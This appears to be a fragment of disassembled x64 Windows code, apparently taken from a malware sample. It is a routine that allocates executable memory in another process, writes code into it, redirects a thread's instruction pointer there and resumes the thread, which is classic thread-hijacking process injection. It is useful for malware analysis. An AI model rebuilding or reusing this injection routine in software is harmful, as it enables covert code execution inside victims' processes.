mov dword [rsp + 0x20], 0x40
mov rsi, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x180006e29
mov rcx, qword [rbx]
mov r9, rsi
mov r8, rbp
mov rdx, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180006e29
mov rcx, qword [rbx + 8]
lea rdx, [rsp + 0xc0]
mov dword [rsp + 0xf0], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x180006e29
mov rcx, qword [rbx + 8]
lea rdx, [rsp + 0xc0]
mov qword [rsp + 0x1b8], rdi
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x180006e2d
xor eax, eax
jmp 0x180006e3c
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
mov rsi, qword [rsp + 0x6d0]
mov rcx, qword [rsp + 0x690]
xor rcx, rsp
call fcn.1800089f0
mov rbx, qword [rsp + 0x6d8]
add rsp, 0x6a0
pop r12
pop rdi
pop rbp
ret